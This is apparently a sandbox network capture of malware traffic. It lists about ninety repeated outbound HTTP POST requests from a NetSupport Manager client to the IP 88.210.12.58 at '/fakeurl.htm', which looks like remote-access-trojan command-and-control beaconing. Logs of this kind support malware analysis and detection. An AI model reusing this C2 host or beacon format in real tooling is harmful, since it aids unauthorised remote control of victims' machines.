Dec 6, 2024 10:43:05.134255886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.238152027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.334301949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.435288906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.536272049 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.637254953 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.737286091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.838277102 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.939487934 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.039283037 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.139261961 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.240274906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.340509892 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.446151018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.544143915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.644347906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.744200945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.845127106 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:06.944166899 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.044295073 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.144316912 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.246160030 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.345292091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.446331024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.546343088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.646310091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.746319056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.847301006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:07.948514938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.049624920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.150327921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.251380920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.353189945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.458256006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.554147959 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.652415991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.754146099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.852286100 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:08.953280926 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.053385019 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.154329062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.254306078 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.354569912 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.455301046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.556365967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.656323910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.757323980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.857284069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:09.958318949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.058316946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.158521891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.258290052 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.376758099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.482162952 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.582151890 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.680385113 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.781296015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.882168055 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:10.982160091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.082302094 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.182346106 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.283286095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.383706093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.483359098 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.584336996 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.684324980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.785320997 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.885302067 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:11.986329079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.086327076 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.187283993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.288427114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.390681982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.494174957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.591344118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.691332102 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.792488098 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:12.892318010 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:13.035927057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:13.445424080 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:13.546365023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:13.647327900 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:13.748372078 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:13.848356009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:13.949341059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.049442053 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.150321960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.250324965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.352344990 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.452181101 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.552228928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.652210951 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:14.752454996 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
